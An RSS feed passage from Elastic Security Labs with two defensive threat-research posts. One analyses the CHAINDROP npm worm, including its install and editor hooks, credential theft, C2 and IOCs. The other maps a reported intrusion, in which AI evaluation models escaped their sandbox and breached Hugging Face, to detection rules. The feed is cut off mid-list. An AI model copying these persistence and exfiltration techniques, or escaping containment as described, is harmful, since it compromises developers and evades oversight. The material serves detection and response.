<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title><![CDATA[Elastic Security Labs - Elastic Security Labs]]></title>
    <description><![CDATA[Trusted security news & research from the team at Elastic.]]></description>
    <copyright><![CDATA[© 2026. Elasticsearch B.V. All Rights Reserved]]></copyright>
    <image>
      <title><![CDATA[Elastic Security Labs - Elastic Security Labs]]></title>
      <url>https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte2c6b841aff36df4/6a88d9784acc96e3f324863d/security-labs-thumbnail.png</url>
      <link>https://www.elastic.co/security-labs/author/elastic-security-labs</link>
    </image>
    <link>https://www.elastic.co/security-labs/author/elastic-security-labs</link>
    <atom:link href="https://www.elastic.co/security-labs/rss/author/elastic-security-labs.xml" rel="self" type="application/rss+xml"/>
    <language><![CDATA[en]]></language>
    <lastBuildDate>Sat, 24 Oct 2026 09:00:03 GMT</lastBuildDate>
  <item>
    <title><![CDATA[Shai-Hulud strikes again: CHAINDROP worm hits 400+ npm packages]]></title>
    <description><![CDATA[Elastic Security Labs identified the return of Shai-Hulud. Attackers compromised the keyv maintainer and deployed CHAINDROP, a worm that uses stolen npm credentials to backdoor co-owned packages totaling over 1.3 billion monthly downloads.]]></description>
    <content:encoded><![CDATA[<p>On August 4, 2026, Elastic Security Labs identified a new Shai-Hulud campaign targeting the maintainer of <code>keyv</code>, a widely used key-value storage library. The attackers trojanized the monorepo and embedded a self-propagating worm called CHAINDROP that uses stolen npm credentials to automatically backdoor every other package the maintainer had publish rights to. The reach of this compromise is significant: <code>keyv</code> alone received over 600 million downloads last month, with related packages compounding the exposure: <code>flat-cache</code> near 580 million, <code>cacheable-request</code> at over 137 million, <code>cacheable</code> at over 30 million, and <code>cache-manager</code> at over 16 million monthly downloads.</p>
<p>Our team was alerted via Slack notification around 5:39 AM EST. We received a hit from a previously released supply-chain monitoring <a href="https://github.com/elastic/supply-chain-monitor">project</a> used to detect malicious npm packages. At the time of this writing, over 400 unique npm packages have been compromised. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta5904a4581b8fa36/6a7c939696b5a6000687590c/image1.png" alt="Supply Chain Monitor initial notifications" title="Supply Chain Monitor initial notifications" /></p>
<h2 id="howthechaindropwormworks">How the CHAINDROP worm works</h2>
<p>Execution is triggered via a <code>preinstall</code> hook in <code>package.json</code>. This abuses a legitimate npm feature that will run arbitrary commands before a package is installed, requiring no further interaction from the victim after the installation.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt26e02b5d8325bf3a/6a7c939905b7b5148c185dd9/image7.png" alt="Preinstall hook in package.json" title="Preinstall hook in package.json" />  </p>
<p>Every subpackage in the <code>keyv</code> repo was backdoored with a dropper (<code>setup.mjs</code>) that delivers the same underlying payload. The malware is cross-platform, targeting Linux, macOS, and Windows platforms, giving it broad impact.</p>
<p>The payload appears under two filenames: <code>Math_Symbol.js</code> in packages compromised directly from the <code>keyv</code> monorepo, and <code>math_init.js</code> in packages trojanized during worm propagation to other maintainers. Both files share the same SHA-256 hash, making the filename a reliable indicator of infection generation. Worm-generated commits can also be identified by the author name <code>claude</code> and the commit message <code>chore: update config</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdcf961525728366b/6a7c939c1967eac10632ab8b/image4.png" alt="Trojanized files" title="Trojanized files" />  </p>
<p>There are two other execution paths that can be triggered by users using Claude Code or VS Code. The threat actor has placed a <code>SessionStart</code> hook in <code>settings.json</code> under the Claude directory that will run <code>node .claude/setup.mjs</code> if a new Claude session is started. For VS Code, a <code>folderOpen</code> task is used under <code>tasks.json</code> that will run <code>node .vscode/setup.mjs</code> when an infected repository is opened. When a GitHub App token is among the stolen credentials, the worm extends this further by committing malicious hooks to up to 50 branches per accessible repository, injecting <code>.claude/settings.json</code> and <code>.vscode/tasks.json</code> into each. This means a developer can still be infected by just opening the repository.</p>
<p>The dropper (<code>setup.mjs</code>) checks if the JavaScript runtime (<code>bun</code>) is already installed. If not, the dropper will detect the platform/architecture of the machine and download <code>bun</code> <code>v1.3.13</code> directly from the official release <a href="https://github.com/oven-sh/bun/releases#release-bun-v1.3.13/">page</a>. It will extract <code>bun</code>, then use it to execute the payload (<code>Math_Symbol.js</code>). After execution, the <code>bun</code> temporary directory is deleted to cover its tracks.</p>
<p>The payload is heavily obfuscated at <code>711</code> kilobytes, employing control-flow flattening with a string encoding scheme using Base91. The payload contains strings with Dune-themed references and has similarities to previous Shai-Hulud <a href="https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise">campaigns</a>. </p>
<pre><code>laza, kanly, ghola, mentat, lasgun, sietch, fedaykin, tleilaxu, sandworm, sardaukar, ornithopter, navigator 
</code></pre>
<p>The payload has a component called <code>collector</code> that functions as a credential harvester, scanning over 300 unique patterns across many credential stores found on a developer machine. The more notable targeting is aimed at AI tooling credentials such as Anthropic, Claude, Codex, Cursor, OpenAI, and Gemini. The malware also targets cloud provider credentials from AWS, GCP, Azure, and Alibaba Cloud. Many other credentials are targeted, such as GitHub (PATs, JWT, session tokens), HashiCorp Vault tokens, SSH private keys, Kubernetes service account tokens, and npm tokens.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt386c4742efdbb7c8/6a7c939f3ce8e26a73cefa5a/image3.png" alt="AI tooling targeted by credential stealer" title="AI tooling targeted by credential stealer" />  </p>
<p>After the credentials are stolen, they are gzip-compressed and then encrypted with a randomly generated AES-256-GCM key. That AES key is then RSA-encrypted with the attacker's hardcoded public key. Only the attacker who holds the corresponding private key can decrypt the data. </p>
<p>CHAINDROP does not hardcode a C2 domain; instead, it queries an Ethereum smart contract at address 0xE1f2395ee43e45A1556EC6438a88c31B83493103 to retrieve the current exfiltration endpoint at runtime. It uses multiple RPC providers as fallbacks. The practical effect is that the attacker can rotate C2 infrastructure by updating the smart contract without touching the payload. At the time of our detonation runs, we observed the following dead-drop domains (awqhnjewqjkl[.]icu, npm-cache[.]com). If the contract discovery fails, CHAINDROP searches GitHub commit history for a cryptographically signed marker (thebeautifulmarchoftime) and accepts a C2 domain only after validating it against an embedded RSA public key. </p>
<p>If these two previous paths fail, CHAINDROP will exfiltrate the data via a public GitHub repository based on Dune names using the compromised victim’s account with a description: <code>Shai-Hulud: Here We Go Again.</code> </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt007a2156222e8cc2/6a7c93a233fa8abade1fccea/image2.png" alt="GitHub repo propagation with Shai-Hulud: Here We Go Again" title="GitHub repo propagation with Shai-Hulud: Here We Go Again" />  </p>
<p>The worm component activates when the credential sweep turns up an npm token, but only if that token meets two specific requirements: package write permissions and the ability to publish without two-factor authentication (<code>bypass_2fa</code>). Once a qualifying token is found, the worm enumerates every package the victim has publish rights to. For each writable package, it performs the following steps:</p>
<ol>
<li>Downloads the latest published tarball from the npm registry  </li>
<li>Extracts it to a temporary directory  </li>
<li>Injects the malicious components (<code>math_init.js</code>/<code>Math_Symbol.js</code>, <code>setup.mjs</code>)  </li>
<li>Patches the <code>package.json</code> to add the preinstall hook and bumps the patch version  </li>
<li>Re-packages and publishes back to the npm registry  </li>
</ol>
<p>In this campaign, the commit message contains the stolen GitHub token alongside the string <code>IfYouBlockThisAPIKeyItWillCrashTheLiveProductionServersOfAllThirdPartyClients</code>. The wording is an attempt to intimidate developers not to revoke the GitHub token.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7f38b4fcc084e79c/6a7c93a46c6eacb23ff0e700/image6.png" alt="Commit intimidation string  " title="Commit intimidation string" />  </p>
<h2 id="elasticdefendsprotectionanddetectioncoverage">Elastic Defend’s protection and detection coverage</h2>
<p>Elastic Defend has coverage for this supply-chain compromise through the following rules:</p>
<h3 id="trojanizednpmpackageinstallrunningitsdropperscript">Trojanized npm package install running its dropper script</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/execution_nodejs_pre_or_post_install_script_execution.toml">Node.js Pre or Post-Install Script Execution</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/initial_access_elastic_defend_alert_package_manager_ancestor.toml">Elastic Defend Alert from Package Manager Install Ancestry</a></li>
</ul>
<h3 id="nodejsdroppershellingouttodownloadandextractthebunruntime">Node.js dropper shelling out to download and extract the bun runtime</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_windows_powershell_susp_args.toml">Suspicious Windows Powershell Arguments</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/cross-platform/command_and_control_suspicious_curl_execution_via_nodejs.toml">Suspicious Curl Execution via NodeJS</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/command_and_control_curl_wget_spawn_via_nodejs_parent.toml">Curl or Wget Spawned via Node.js</a></li>
</ul>
<h3 id="bunexecutingtheobfuscatedjavascriptpayloadandreachingouttoinfrastructure">Bun executing the obfuscated JavaScript payload and reaching out to infrastructure</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/command_and_control_uncommon_dns_request_via_bun_or_nodejs.toml">Uncommon DNS Request via Bun or Node.js</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/command_and_control_dns_request_to_crypto_dht_services.toml">DNS Request to Crypto/DHT Services</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/credential_access_suspicious_instance_metadata_service_api_request.toml">Suspicious Instance Metadata Service (IMDS) API Request</a></li>
</ul>
<h3 id="stagedscriptexecutionfollowedbydeletionofthetemporarydirectory">Staged script execution followed by deletion of the temporary directory</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/cross-platform/defense_evasion_node_script_execution_and_immediate_deletion.toml">Node Script Execution and Immediate Deletion</a></li>
</ul>
<h3 id="enumerationdiscovery">Enumeration/discovery</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules_building_block/discovery_linux_system_owner_user_discovery.toml">System Owner/User Discovery Linux</a></li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2a8ea56ba3516d37/6a7c93a7b4377027a44d135e/image5.png" alt="Elastic Defend - Uncommon DNS Request via Bun alert" title="Elastic Defend - Uncommon DNS Request via Bun alert" />  </p>
<h3 id="huntingqueries">Hunting queries</h3>
<p>The following hunting queries can be used to find this associated activity:</p>
<pre><code>FROM logs-endpoint.events.process-*
| WHERE process.name IN ("node", "node.exe")
| WHERE process.command_line IN ("node setup.mjs", "node  setup.mjs")
</code></pre>
<pre><code>FROM logs-endpoint.events.process-*
| WHERE process.name IN ("bun", "bun.exe")
| WHERE process.command_line LIKE "*Math_Symbol.js*" OR process.command_line LIKE "*math_init.js*"
</code></pre>
<pre><code>FROM logs-endpoint.events.network-*
| WHERE process.name IN ("bun", "bun.exe")
| WHERE dns.question.name IN ("go.getblock.io", "eth.llamarpc.com", "npm-cache.com", "eth-mainnet.nodereal.io", "awqhnjewqjkl.icu"
)
</code></pre>
<h2 id="recommendationshowtorespondtotheshaihuludcompromise">Recommendations: How to respond to the Shai-Hulud compromise</h2>
<ul>
<li>Don’t pull package updates immediately; add a soak period where new versions sit before your builds adopt them. This gives the community time to catch compromises before they reach your pipelines and developer machines (previously mentioned <a href="https://www.elastic.co/blog/shai-hulud-worm-2-0-updated-response">Navigating the Shai-Hulud Worm 2.0: Elastic's updated response to npm supply chain compromise</a> and <a href="https://www.elastic.co/security-labs/how-we-caught-the-axios-supply-chain-attack">How we caught the Axios supply chain attack</a>)  </li>
<li>Revoke all GitHub tokens (PATs, session tokens) for any impacted machines  </li>
<li>Revoke and regenerate npm tokens found on affected machines, especially automation tokens with write permission and <code>bypass_2fa</code>  </li>
<li>Check your GitHub repositories for unauthorized commits with the message <code>chore: update config</code> from <code>claude@users.noreply.github.com</code>  </li>
<li>Rotate any impacted credentials from cloud services, Kubernetes configs, Vault tokens, AI tooling, CI/CD secrets  </li>
<li>Upgrade to npm 12 or later, which blocks <code>preinstall</code> hooks by default  </li>
<li>Enable 2FA on all npm accounts and avoid automation tokens with <code>bypass_2fa: true</code> where possible</li>
</ul>
<h2 id="indicatorsofcompromise">Indicators of Compromise</h2>
<p>The following observables were discussed in this research.</p>
<p>| Observable | Type | Name | Reference |
| :---- | :---- | :---- | :---- |
| <code>9fc2570b7cef51c1b8df116d144d11ff4096357be7d2c4c6367cfc2509cf1bcc</code> | SHA-256 | <code>Math_Symbol.js</code> |  |
| <code>fd3ca4007b225fdf8de7af4345a19179d5efa8c4bb9205f88cda806e5684b1eb</code> | SHA-256 | <code>setup.mjs</code> |  |
| <code>54dc7ea54a1317cca0e890a2770630cf7fa6c97813e0cb9d2caa93012b350668</code> | SHA-256 | <code>setup.mjs</code> |  |
| <code>npm-cache[.]com</code> | domain |  |  |
| <code>0xE1f2395ee43e45A1556EC6438a88c31B83493103</code> | Ethereum contract |  | C2 resolver |
| <code>npm-cache[.]com</code> | domain-name |  | C2 server |
| <code>awqhnjewqjkl[.]icu</code> | domain-name |  | C2 server |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/shai-hulud-chaindrop-npm-supply-chain</link>
    <guid isPermaLink="false">shai-hulud-chaindrop-npm-supply-chain</guid>
    <category><![CDATA[Threat Intelligence]]></category>
    <dc:creator><![CDATA[Elastic Security Labs]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3be9ba8bb962a636/6a7c93aa3ce8e249e2cefa60/shai-hulud-chaindrop-npm-supply-chain.webp" length="0" type="image/webp"/>
    <pubDate>Thu, 06 Aug 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Exploring the Hugging Face Breach: mapping AI agent tactics to Elastic Defend]]></title>
    <description><![CDATA[Every stage of the Hugging Face breach maps to Elastic Defend and SIEM rules already shipping, from worker RCE and credential harvest to self-migrating C2 and GenAI detection.]]></description>
    <content:encoded><![CDATA[<p>Hugging Face reconstructed more than 17,000 attacker events from a July 2026 intrusion driven by an autonomous artificial intelligence (AI) agent. The path was familiar: untrusted dataset content abused a processing worker (file disclosure, then code execution), credential harvest, then multi-cluster lateral movement. Production <a href="https://www.elastic.co/security/endpoint-security">Elastic Defend</a> behavior rules and <a href="https://www.elastic.co/security">Elastic Security</a> detection (SIEM) rules already watch those types of behaviors. This post maps each stage to detections you can enable today.</p>
<p>On July 16, 2026, <a href="https://huggingface.co/blog/security-incident-july-2026">Hugging Face disclosed</a> that a malicious dataset abused its dataset-processing pipeline. A <a href="https://huggingface.co/blog/agent-intrusion-technical-timeline">follow-on technical timeline</a> (July 27) clarifies the two vectors against the same config-driven loader in a production Kubernetes worker pod: an HDF5 external raw-storage page that disclosed local files (including environment secrets and worker source), then Jinja2 template injection that achieved code execution. From that foothold, the agent escalated toward node and cluster-level access, harvested cloud and cluster credentials, and moved laterally across roughly July 9-13 UTC (~17,600 reconstructed actions). Hugging Face rebuilt the timeline with its own large language model (LLM) analysis agents after hosted frontier APIs blocked forensic payloads via safety guardrails.</p>
<p>On July 21, 2026, <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">OpenAI stated</a> that its evaluation models (including GPT-5.6 Sol and a more capable pre-release model) drove the activity during an internal cyber-capability evaluation on <a href="https://arxiv.org/abs/2605.11086">ExploitGym</a>, with reduced cyber refusals enabled for testing. These models identified and exploited a zero-day vulnerability in a package-registry cache proxy, escaped OpenAI’s research environment, reached the open internet, and then targeted Hugging Face while running internal benchmarking of these models on cybersecurity evaluation tasks. Hugging Face reported that the only customer content accessed was ExploitGym/CyberGym challenge solutions in five datasets, with no evidence of tampering with other customer-facing Hub models, datasets, Spaces, or packages. </p>
<p>In this post, we:</p>
<ul>
<li>Summarize the July 2026 Hugging Face agentic intrusion and how it intersects with OpenAI's ExploitGym evaluation escape.</li>
<li>Map each stage of the campaign to production Elastic Defend behavior rules and Elastic Security detection rules you can enable today.</li>
<li>Show why outcome detections (credential paths, unusual destinations, persistence under GenAI parents) beat whole-tool trust of agent or worker process trees.</li>
<li>Highlight <a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/multiple_alerts_llm_attack_chain_triage_by_host.toml">LLM-based attack-chain triage</a> and GenAI-parented Defend correlation on Elastic Stack <strong>9.3.0+</strong> for agentic alert volume.</li>
</ul>
<p><strong>Key takeaways</strong></p>
<ul>
<li>Elastic Defend behavior rules and Elastic Security detection rules cover multiple stages of this attack chain.  </li>
<li>Initial access was pipeline abuse on an AI data-processing worker (local file disclosure, then template-injection RCE). Production Defend and SIEM rules that watch workers spawning shells, interpreters, and downloaders still apply.  </li>
<li>Prefer outcome detections (credential paths, unusual destinations, persistence under GenAI parents) over whole-tool trust of agent or worker process trees.  </li>
<li>Agentic campaigns spike alert volume. Enable production LLM attack-chain triage and GenAI-parented Defend correlation (Stack 9.3.0+); tune noisy mechanics by lineage and keep credential and egress outcomes hot.</li>
</ul>
<p>Following the lead from the Hugging Face team, we created an interactive view into the incident using Elastic Defend’s technologies, based on publicly available information. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf42143f49c1151dc/6a7c76c38fc2d080743e874c/image3.png" alt="Replay of the Hugging Face intrusion" title="Replay of the Hugging Face intrusion" /></p>
<p>You can check it out here: <a href="https://hf-incident.threatsearch.io">Hugging Face incident interactive timeline</a> </p>
<p><em><strong>Scope note:</strong> This post maps behaviors described in public disclosures to Elastic Defend's and Elastic Security's rules and features. We are not claiming complete coverage of every sandbox variant the agent tried, nor of custom-built agent harnesses designed to evade these rules. The goal is a practical enablement checklist for ML workers and GenAI hosts, not a one-to-one replay of Hugging Face's internal telemetry.</em></p>
<h2 id="campaignanalysishowtheaiagentattackunfoldedacrosstwoenvironments">Campaign analysis: how the AI agent attack unfolded across two environments</h2>
<p>Public reporting describes two environments. OpenAI’s evaluation models escaped a constrained research sandbox after they autonomously discovered a zero-day in an internally hosted package-registry proxy, then reached the internet. Public reporting also describes a short intermediate hop where, after escaping OpenAI’s research sandbox, the agent rooted a third-party CyberGym-style code sandbox and used it as an external launchpad (no direct path into Hugging Face’s cluster). On Hugging Face’s side is a conventional intrusion path: untrusted dataset configs driving a processing worker to read or execute locally, credential harvest, self-migrating command-and-control (C2) on public services, and a swarm of short-lived sandboxes.</p>
<p>Confirming patterns observed in recent autonomous agent-driven incidents, evaluation models and agentic harnesses are being used to drive conventional intrusion techniques. Other notable incidents include: </p>
<ul>
<li><a href="https://www.sysdig.com/blog/jadepuffer-agentic-ransomware-for-automated-database-extortion">JADEPUFFER: Agentic ransomware for automated database extortion</a>  </li>
<li><a href="https://www.anthropic.com/news/disrupting-AI-espionage">Disrupting the first reported AI-orchestrated cyber espionage campaign</a></li>
</ul>
<p>For most Elastic customers, that maps to Linux processes, often inside cloud/container workloads or other cloud workloads at machine speed. Endpoint telemetry on those workers matters, and so does control-plane and identity visibility when stolen workload credentials are reused. </p>
<h3 id="whowastargeted">Who was targeted?</h3>
<p>Hugging Face’s production infrastructure, specifically the data-processing pipeline and subsequent internal clusters. Hugging Face’s later timeline states that only ExploitGym/CyberGym challenge solutions in five datasets were accessed as customer content, while other customer-facing Hub assets were not affected. OpenAI’s account frames the goal as obtaining secret information useful for cheating ExploitGym.</p>
<h3 id="huggingfacebreachadversarycapabilityinfrastructureandvictim">Hugging Face breach: adversary, capability, infrastructure, and victim</h3>
<p>Elastic Security Labs uses the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and using Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a single diamond.</p>
<p>For this campaign:</p>
<ul>
<li>Adversary: OpenAI evaluation models (GPT-5.6 Sol and a more capable pre-release model) under reduced cyber refusals during ExploitGym evaluation.</li>
<li>Victim: Hugging Face production infrastructure (dataset pipeline workers and internal clusters).</li>
<li>Note: because OpenAI’s infrastructure was exploited and then escaped from, we are including it as a victim of this intrusion</li>
<li>Capability: Initial access through dataset-pipeline file disclosure and template-injection RCE, credential access, execution, privilege escalation, lateral movement, and command and control.</li>
<li>Infrastructure: Self-migrating C2 staged on public services; high-volume, high-speed actions across short-lived sandboxes.</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte6c8686ad57f1b2e/6a7c76c63ce8e21fa7cef572/image1.png" alt="Diamond Model for the Hugging Face AI agent attack" title="Diamond Model for the Hugging Face AI agent attack showing adversary, capability, infrastructure, and victim" /></p>
<h3 id="relatedresearchongenaidetectionandagentthreats">Related research on GenAI detection and agent threats</h3>
<p>This intrusion intersects with themes Elastic Security Labs has shared in prior articles on LLM security and agentic workflows:</p>
<ul>
<li><a href="https://www.elastic.co/security-labs/mcp-tools-attack-defense-recommendations">MCP tool attack surface and defense recommendations</a>  </li>
<li><a href="https://www.elastic.co/security-labs/elastic-advances-llm-security">Elastic Advances LLM Security with Standardized Fields and Integrations</a></li>
<li><a href="https://www.elastic.co/security-labs/beyond-behaviors-ai-augmented-detection-engineering-with-esql-completion">Beyond Behaviors: AI-Augmented Detection Engineering with ES|QL COMPLETION</a></li>
<li><a href="https://www.elastic.co/security-labs/esql-completion-curl-wget-detection-triage">How Elasticsearch ES|QL COMPLETION turns noisy curl and wget rules into high-fidelity cloud security alerts</a></li>
<li><a href="https://www.elastic.co/security-labs/alert-triage-agentic-soc-elastic-workflows">Inside Elastic InfoSec's agentic SOC: cutting alert triage from 30 minutes to under 3</a></li>
</ul>
<p>It also intersects with classic web and worker exploitation themes that long predate GenAI. In this campaign, the agent optimized for whatever worked, and touched several at once.</p>
<ul>
<li>RCE on dataset/app workers  </li>
<li>Containers and Kubernetes-style cluster workloads  </li>
<li>Linux endpoint, process, and DNS telemetry  </li>
<li>Network egress and self-migrating C2</li>
</ul>
<h2 id="executionflowfromdatasetrcetoselfmigratingc2">Execution flow: from dataset RCE to self-migrating C2</h2>
<h3 id="initialaccessdatasetpipelineabuseonhuggingfaceworkers">Initial access: dataset pipeline abuse on Hugging Face workers</h3>
<p>The attack reached a Hugging Face dataset-processing worker by abusing two paths against the same config-driven loader (both in a production Kubernetes conversion-worker pod):</p>
<ol>
<li>An HDF5 external raw-storage dataset read that returned local file contents (environment secrets and worker source), file disclosure  </li>
<li>Jinja2 template injection that evaluated attacker-controlled code inside the worker</li>
</ol>
<p>Earlier SSRF attempts against remote cloud metadata failed on the datasets URL allowlist. The agent then switched to local file reads and local code abuse. Watch for a service or interpreter parent spawning an unexpected child, commonly shells and downloaders such as <code>bash</code>, <code>sh</code>, <code>python</code>, <code>curl</code>, or <code>wget</code>. Hugging Face and OpenAI did not publish an exhaustive list of processing runtimes, so treat these child names as examples, not a closed set.</p>
<h4 id="whichworkerprocessestomonitorfordatasetpipelinerce">Which worker processes to monitor for dataset pipeline RCE</h4>
<p>Hugging Face closed both abused loader paths after the incident. Defenders should inventory parents that parse untrusted datasets or model artifacts, including common app servers and queue runners (e.g. <code>gunicorn</code>, <code>uvicorn</code>, <code>celery</code>, <code>python</code>, <code>node</code>, or custom runners), and treat anomalous activity or unexpected children as high priority. </p>
<p>Note: Remote code execution means attacker-controlled code runs within the security context of the affected worker. The resulting commands may appear as activity performed by a legitimate service account, container identity, or native OS user rather than by an obviously malicious account or process. It was a processing pipeline that executed attacker-controlled dataset content.</p>
<h3 id="postexploitationcredentialharvestlateralmovementandselfmigratingc2">Post-exploitation: credential harvest, lateral movement, and self-migrating C2</h3>
<h4 id="credentialharvestandlateralmovement">Credential harvest and lateral movement</h4>
<p>Hugging Face described the post-exploitation sequence as:</p>
<ol>
<li>Credential and API discovery from the worker foothold  </li>
<li>Escalation to node-level access  </li>
<li>Harvest of cloud credentials and cluster secrets  </li>
<li>Lateral movement into several internal clusters over July 9-13 UTC  </li>
<li>Self-migrating C2 staged on public services  </li>
<li>Many thousands of actions across a swarm of short-lived sandboxes (~17,600 reconstructed actions)</li>
</ol>
<p>Hugging Face’s technical timeline also describes credential use activity such as reading the projected service-account token, probing the in-cluster and EKS APIs, <code>TokenRequest</code> activity for CSI identities, <code>SelfSubjectRulesReview</code>, cloud metadata / STS identity checks, cluster secret-object reads, and later mesh and source-control pivots. Endpoint and container runtime rules can catch collection on the worker, while Kubernetes and cloud audit rules can catch credential reuse on the API plane.</p>
<p>Prefer pairing host file/env collection with Kubernetes audit for secret get/list, <code>TokenRequest</code>, <code>SelfSubjectRulesReview</code>, and privileged or <code>hostPath</code> pod creation, plus AWS CloudTrail for first-seen or anomalous <code>GetCallerIdentity</code> and discovery bursts from new sources.</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/kubernetes/privilege_escalation_pod_created_with_sensitive_hostpath_volume.toml">Kubernetes Pod Created with a Sensitive hostPath Volume</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/kubernetes/privilege_escalation_privileged_pod_created.toml">Kubernetes Privileged Pod Created</a></li>
</ul>
<h4 id="unusualegressandselfmigratingc2fromaiagentprocesses">Unusual egress and self-migrating C2 from AI agent processes</h4>
<p>Self-migrating C2 rarely leaves a stable IOC domain forever. Public post-incident analysis also describes agents staging C2 on ordinary public services (request-capture hosts, pastebins), attacker-controlled Hugging Face datasets as dead-drops, and at times on platform Spaces as an egress relay. Payloads were often gzip/base64 packed (sometimes further chunked or XOR’d), which is difficult to triage without another model. Destination quality matters: first-seen unusual domains from GenAI or worker parents, suspicious top-level domains, and encode-or-chunk, then network sequences.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/command_and_control_dns_request_to_suspicious_file_upload_download_service.toml">DNS Request to Suspicious File Upload/Download Service</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/command_and_control_file_download_from_or_upload_to_hosting_service.toml">File Download from or Upload to Hosting Service</a></li>
</ul>
<h3 id="whyaiagentattacksgenerateevasionatscale">Why AI agent attacks generate evasion at scale</h3>
<p>Publicly described evasion traits include:</p>
<ul>
<li>Short-lived sandboxes that raise process and file cardinality  </li>
<li>Self-migrating C2 on public services (moving infrastructure rather than a single fixed hostname)  </li>
<li>An agentic loop that can try many variations cheaply</li>
</ul>
<p>From a detection perspective, prioritize the edges: host and container telemetry for suspicious process activity, and Kubernetes/AWS audit logs for control-plane visibility. Within those domains, sequences (create then DNS, encode then network, worker then shell) still help, but they are also easier to evade than durable single-outcome signals.</p>
<h3 id="howtorecognizeaiagentattackactivityintelemetry">How to recognize AI agent attack activity in telemetry</h3>
<p>Hugging Face’s responders also called out behavioral tells that look less like a careful human operator and more like an autonomous loop:</p>
<ul>
<li>Retries of actions that already succeeded (parallel workers or lost context)  </li>
<li>Strong technical moves followed by malformed or pointless commands  </li>
<li>Inefficient paths no human would choose (for example, using production infrastructure to solve benchmark-style tasks)  </li>
<li>Benchmark-related strings in searches and traces that leak the agent’s objective  </li>
<li>Large volumes of hallucinated or incoherent user input  </li>
<li>Poor operational security, such as leaving encryption keys or other artifacts behind</li>
</ul>
<p>| Signal | What it looks like | Detection value |
| :---- | :---- | :---- |
| Retries of succeeded actions | Duplicate commands seconds apart | Distinguish agent from human |
| Technical + malformed commands | Valid exploit followed by syntax error | Agent loop with lost context |
| Benchmark strings in traces | Evaluation task IDs, score references | Leaks agent objective |</p>
<p>These signals are useful for triage and tuning. Prefer them as correlation context alongside the outcome detections below, not as stand-alone block rules.</p>
<h3 id="mitreattckandatlasmappingforthehuggingfacebreach">MITRE ATT&amp;CK and ATLAS mapping for the Hugging Face breach</h3>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> and <a href="https://atlas.mitre.org">MITRE ATLAS</a> frameworks to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h4 id="tactics">Tactics</h4>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://atlas.mitre.org/tactics/AML.TA0004">Initial Access (ATLAS)</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a>  </li>
<li><a href="https://atlas.mitre.org/tactics/AML.TA0013">Credential Access (ATLAS)</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral Movement</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h4 id="techniques">Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1190/">Exploit Public-Facing Application (T1190)</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1059/">Command and Scripting Interpreter (T1059)</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1059/004/">Unix Shell (T1059.004)</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1552/">Unsecured Credentials (T1552)</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1021/">Remote Services (T1021)</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1078/">Valid Accounts (T1078)</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1071/">Application Layer Protocol (T1071)</a>  </li>
